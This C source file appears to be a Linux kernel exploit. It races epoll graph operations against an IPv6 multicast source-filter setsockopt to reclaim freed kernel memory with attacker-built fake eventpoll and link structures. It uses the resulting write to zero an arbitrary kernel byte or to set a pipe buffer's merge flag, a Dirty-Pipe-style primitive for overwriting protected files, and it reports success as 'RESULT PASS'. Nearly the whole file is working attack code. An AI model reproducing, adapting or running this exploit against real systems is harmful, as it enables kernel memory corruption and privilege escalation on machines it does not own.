#include "common.h"
#include "kernelsnitch/utils.h"

#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/epoll.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>

#ifndef MCAST_JOIN_GROUP
#define MCAST_JOIN_GROUP 42
#endif
#ifndef MCAST_MSFILTER
#define MCAST_MSFILTER 48
#endif
#ifndef MCAST_EXCLUDE
#define MCAST_EXCLUDE 0
#endif

enum {
	CHAIN_USER_DELTA = 0xe80,
	FAKE_EP_OFF = 0x100,
	FAKE_FLLINK_OFF = 0x108,
	FAKE_STRIDE = 0x80,
	FAKE_COUNT = 16,
	EVENTPOLL_GEN_OFF = 0xa8,
	EVENTPOLL_DEPTH_OFF = 0xb8,
	FILTER_SOURCE_COUNT = 14,
	GRAPH_WIDTH = 96,
	GRAPH_FANOUT = 512,
	RACE_ROUNDS = 64,
};

struct trigger_ctx {
	int epfd;
	int target_fd;
	atomic_int ready;
	atomic_int go;
	uint64_t duration_ns;
};

struct chain_group_req {
	uint32_t interface_index;
	struct sockaddr_storage group;
};

struct chain_group_filter {
	uint32_t interface_index;
	struct sockaddr_storage group;
	uint32_t filter_mode;
	uint32_t source_count;
	struct sockaddr_storage sources[];
};

static uint64_t monotonic_ns(void)
{
	struct timespec time;

	clock_gettime(CLOCK_MONOTONIC, &time);
	return (uint64_t)time.tv_sec * 1000000000ULL + time.tv_nsec;
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	(void)sched_setaffinity(0, sizeof(set), &set);
}

static void busy_delay_ns(uint64_t delay)
{
	uint64_t end = monotonic_ns() + delay;

	while (monotonic_ns() < end)
		__asm__ volatile("yield" ::: "memory");
}

static int add_epoll(int parent, int child)
{
	struct epoll_event event = {
		.events = EPOLLIN,
		.data.u64 = (uint64_t)(unsigned int)child,
	};

	return epoll_ctl(parent, EPOLL_CTL_ADD, child, &event);
}

static void *trigger_loop_check(void *opaque)
{
	struct trigger_ctx *ctx = opaque;
	struct epoll_event event = {
		.events = EPOLLIN,
		.data.u64 = 0x47415030373131ULL,
	};
	uint64_t start;

	pin_cpu(0);
	atomic_store_explicit(&ctx->ready, 1, memory_order_release);
	while (!atomic_load_explicit(&ctx->go, memory_order_acquire))
		__asm__ volatile("yield" ::: "memory");
	start = monotonic_ns();
	(void)epoll_ctl(ctx->epfd, EPOLL_CTL_ADD, ctx->target_fd, &event);
	ctx->duration_ns = monotonic_ns() - start;
	return NULL;
}

static size_t filter_size(void)
{
	return offsetof(struct chain_group_filter, sources) +
		FILTER_SOURCE_COUNT * sizeof(struct sockaddr_storage);
}

static struct sockaddr_in6 *as_in6(struct sockaddr_storage *address)
{
	return (struct sockaddr_in6 *)address;
}

static void init_filter(struct chain_group_filter *filter,
			const struct chain_group_req *request, uint64_t fake_fllink)
{
	static const uint8_t source_address[16] = {
		0x20, 0x01, 0x0d, 0xb8, 0x71, 0x10, 0x00, 0x01,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
	};

	memset(filter, 0, filter_size());
	filter->interface_index = request->interface_index;
	memcpy(&filter->group, &request->group, sizeof(request->group));
	filter->filter_mode = MCAST_EXCLUDE;
	filter->source_count = FILTER_SOURCE_COUNT;
	for (int i = 0; i < FILTER_SOURCE_COUNT; i++) {
		struct sockaddr_in6 *source = as_in6(&filter->sources[i]);

		source->sin6_family = AF_INET6;
		memcpy(source->sin6_addr.s6_addr, source_address,
		       sizeof(source_address));
	}
	memcpy(as_in6(&filter->sources[9])->sin6_addr.s6_addr,
	       "GENMARK0", 8);
	memcpy(as_in6(&filter->sources[9])->sin6_addr.s6_addr + 8,
	       &fake_fllink, sizeof(fake_fllink));
	memcpy(as_in6(&filter->sources[10])->sin6_addr.s6_addr,
	       "DEPTH000", 8);
}

static int prepare_filter_socket(struct chain_group_req *request)
{
	struct sockaddr_in6 *group;
	int fd = socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0);

	if (fd < 0)
		return -1;
	memset(request, 0, sizeof(*request));
	request->interface_index = if_nametoindex("lo");
	group = as_in6(&request->group);
	group->sin6_family = AF_INET6;
	group->sin6_scope_id = request->interface_index;
	inet_pton(AF_INET6, "ff02::e713", &group->sin6_addr);
	if (setsockopt(fd, IPPROTO_IPV6, MCAST_JOIN_GROUP,
		       request, sizeof(*request)) != 0) {
		close(fd);
		return -1;
	}
	return fd;
}

static int read_filter(int fd, const struct chain_group_req *request,
		       struct chain_group_filter *filter)
{
	socklen_t length = (socklen_t)filter_size();

	memset(filter, 0, filter_size());
	filter->interface_index = request->interface_index;
	memcpy(&filter->group, &request->group, sizeof(request->group));
	filter->source_count = FILTER_SOURCE_COUNT;
	return getsockopt(fd, IPPROTO_IPV6, MCAST_MSFILTER, filter, &length);
}

static unsigned char *page_data(size_t offset)
{
	return known_page_data() + CHAIN_USER_DELTA + offset;
}

static void store64(unsigned char *target, uint64_t value)
{
	memcpy(target, &value, sizeof(value));
}

static int late_refs(bool zero_mode, uint64_t target_value)
{
	static const unsigned int delays[] = {0, 1, 2, 4, 8, 12, 20, 32, 48, 64};
	const size_t allocation_size = filter_size();
	struct chain_group_filter *set_filter;
	struct chain_group_filter *get_filter;
	unsigned char *skb_data;
	uint64_t known;
	uint64_t fake_fllink;
	uint64_t generation = 0;
	int carrier_sv[2] = {-1, -1};
	int *upper;
	int *top;
	int efd;
	int target_fd;
	int hits = 0;
	int graph_edges = 0;

	set_unbuffer();
	set_limit();
	pin_to_core(CORE);
	skb_data = malloc(65536);
	set_filter = calloc(1, allocation_size);
	get_filter = calloc(1, allocation_size);
	upper = malloc(GRAPH_WIDTH * sizeof(*upper));
	top = malloc(GRAPH_WIDTH * GRAPH_FANOUT * sizeof(*top));
	if (!skb_data || !set_filter || !get_filter || !upper || !top)
		pr_error("allocate late-refs state\n");
	memset(skb_data, 0, 65536);
	known_page_prepare(skb_data);

	known = known_page_acquire();
	fake_fllink = known + FAKE_FLLINK_OFF;
	memset(skb_data, 0x4b, 65536);
	if (zero_mode) {
		store64(page_data(FAKE_EP_OFF),
			target_value - EVENTPOLL_DEPTH_OFF);
		store64(page_data(FAKE_FLLINK_OFF), 0);
		printf("ZERO_TARGET address=0x%016llx fake_eventpoll=0x%016llx\n",
		       (unsigned long long)target_value,
		       (unsigned long long)(target_value - EVENTPOLL_DEPTH_OFF));
	} else {
		for (int i = 0; i < FAKE_COUNT; i++) {
			size_t ep_offset = FAKE_EP_OFF + (size_t)i * FAKE_STRIDE;
			size_t link_offset = FAKE_FLLINK_OFF + (size_t)i * FAKE_STRIDE;
			uint64_t flags = target_value + (uint64_t)i * PIPE_OBJECT_SIZE +
				(uint64_t)PIPE_SLOT * PIPE_BUFFER_SIZE + PIPE_FLAGS_OFF;
			uint64_t next = i + 1 < FAKE_COUNT ?
				known + FAKE_FLLINK_OFF + (uint64_t)(i + 1) * FAKE_STRIDE : 0;

			store64(page_data(ep_offset), flags - EVENTPOLL_GEN_OFF);
			store64(page_data(link_offset), next);
		}
		printf("PIPE_TARGET page=0x%016llx fake_count=%d object_size=0x%x slot=%d flags_off=0x%x\n",
		       (unsigned long long)target_value, FAKE_COUNT,
		       PIPE_OBJECT_SIZE, PIPE_SLOT, PIPE_FLAGS_OFF);
	}
	printf("KNOWN_PAGE base=0x%016llx fake_fllink=0x%016llx\n",
	       (unsigned long long)known, (unsigned long long)fake_fllink);
	known_page_reclaim(carrier_sv);

	pin_cpu(1);
	efd = epoll_create1(EPOLL_CLOEXEC);
	target_fd = epoll_create1(EPOLL_CLOEXEC);
	if (efd < 0 || target_fd < 0 || add_epoll(efd, target_fd) != 0)
		pr_error("base epoll graph: %m\n");
	for (int i = 0; i < GRAPH_WIDTH; i++) {
		upper[i] = epoll_create1(EPOLL_CLOEXEC);
		if (upper[i] < 0)
			pr_error("upper epoll: %m\n");
		for (int j = 0; j < GRAPH_FANOUT; j++) {
			int index = i * GRAPH_FANOUT + j;

			top[index] = epoll_create1(EPOLL_CLOEXEC);
			if (top[index] < 0 || add_epoll(top[index], upper[i]) != 0)
				pr_error("top graph i=%d j=%d: %m\n", i, j);
			graph_edges++;
		}
	}
	printf("GRAPH_READY width=%d fanout=%d edges=%d\n",
	       GRAPH_WIDTH, GRAPH_FANOUT, graph_edges);

	for (int round = 0; round < RACE_ROUNDS; round++) {
		struct chain_group_req request;
		struct trigger_ctx trigger;
		pthread_t thread;
		unsigned char *source9;
		unsigned char *source10;
		unsigned int delay = delays[(unsigned int)round %
			(sizeof(delays) / sizeof(delays[0]))];
		int filter_fd = prepare_filter_socket(&request);
		int stale;
		int decoy;
		int set_result;
		int get_result;

		if (filter_fd < 0)
			pr_error("filter socket round=%d: %m\n", round);
		init_filter(set_filter, &request, fake_fllink);
		stale = epoll_create1(EPOLL_CLOEXEC);
		if (stale < 0 || add_epoll(stale, efd) != 0)
			pr_error("stale epoll round=%d: %m\n", round);
		decoy = epoll_create1(EPOLL_CLOEXEC);
		if (decoy < 0 || add_epoll(decoy, efd) != 0)
			pr_error("decoy epoll round=%d: %m\n", round);
		for (int i = 0; i < GRAPH_WIDTH; i++) {
			if (add_epoll(upper[i], decoy) != 0)
				pr_error("decoy graph round=%d i=%d: %m\n", round, i);
		}

		memset(&trigger, 0, sizeof(trigger));
		trigger.epfd = efd;
		trigger.target_fd = target_fd;
		atomic_init(&trigger.ready, 0);
		atomic_init(&trigger.go, 0);
		if (pthread_create(&thread, NULL, trigger_loop_check, &trigger) != 0)
			pr_error("create trigger thread\n");
		while (!atomic_load_explicit(&trigger.ready, memory_order_acquire))
			__asm__ volatile("yield" ::: "memory");
		atomic_store_explicit(&trigger.go, 1, memory_order_release);

		busy_delay_ns((uint64_t)delay * 1000ULL);
		close(decoy);
		close(stale);
		set_result = setsockopt(filter_fd, IPPROTO_IPV6, MCAST_MSFILTER,
					  set_filter, allocation_size);
		pthread_join(thread, NULL);
		get_result = set_result == 0 ?
			read_filter(filter_fd, &request, get_filter) : -1;
		source9 = as_in6(&get_filter->sources[9])->sin6_addr.s6_addr;
		source10 = as_in6(&get_filter->sources[10])->sin6_addr.s6_addr;
		memcpy(&generation, source9, sizeof(generation));
		if (set_result == 0 && get_result == 0 &&
		    memcmp(source9, "GENMARK0", 8) != 0) {
			hits++;
			if (zero_mode) {
				printf("OUTER_HIT round=%d delay_us=%u generation=0x%016llx outer_depth=%u zero_target=0x%016llx duration_ns=%llu\n",
				       round, delay, (unsigned long long)generation,
				       source10[0], (unsigned long long)target_value,
				       (unsigned long long)trigger.duration_ns);
				if (source10[0] == 1) {
					close(filter_fd);
					printf("RESULT PASS zero_byte_redirect target=0x%016llx generation=0x%016llx\n",
					       (unsigned long long)target_value,
					       (unsigned long long)generation);
					return 0;
				}
			} else {
				printf("OUTER_HIT round=%d delay_us=%u generation=0x%016llx outer_depth=%u can_merge=%u duration_ns=%llu\n",
				       round, delay, (unsigned long long)generation,
				       source10[0], !!(generation & 0x10),
				       (unsigned long long)trigger.duration_ns);
				if (generation & 0x10) {
					close(filter_fd);
					printf("RESULT PASS pipe_flags_redirect page=0x%016llx fake_count=%d generation=0x%016llx can_merge=1\n",
					       (unsigned long long)target_value,
					       FAKE_COUNT, (unsigned long long)generation);
					return 0;
				}
			}
		}
		if ((round % 8) == 0)
			printf("ROUND round=%d set_rc=%d get_rc=%d outer_hits=%d duration_ns=%llu\n",
			       round, set_result, get_result, hits,
			       (unsigned long long)trigger.duration_ns);
		close(filter_fd);
	}

	printf("RESULT FAIL %s outer_hits=%d rounds=%d\n",
	       zero_mode ? "zero_byte_redirect" : "pipe_flags_redirect",
	       hits, RACE_ROUNDS);
	return 1;
}

int late_refs_pipe(uint64_t pipe_page)
{
	return late_refs(false, pipe_page);
}

int late_refs_zero(uint64_t target_byte)
{
	return late_refs(true, target_byte);
}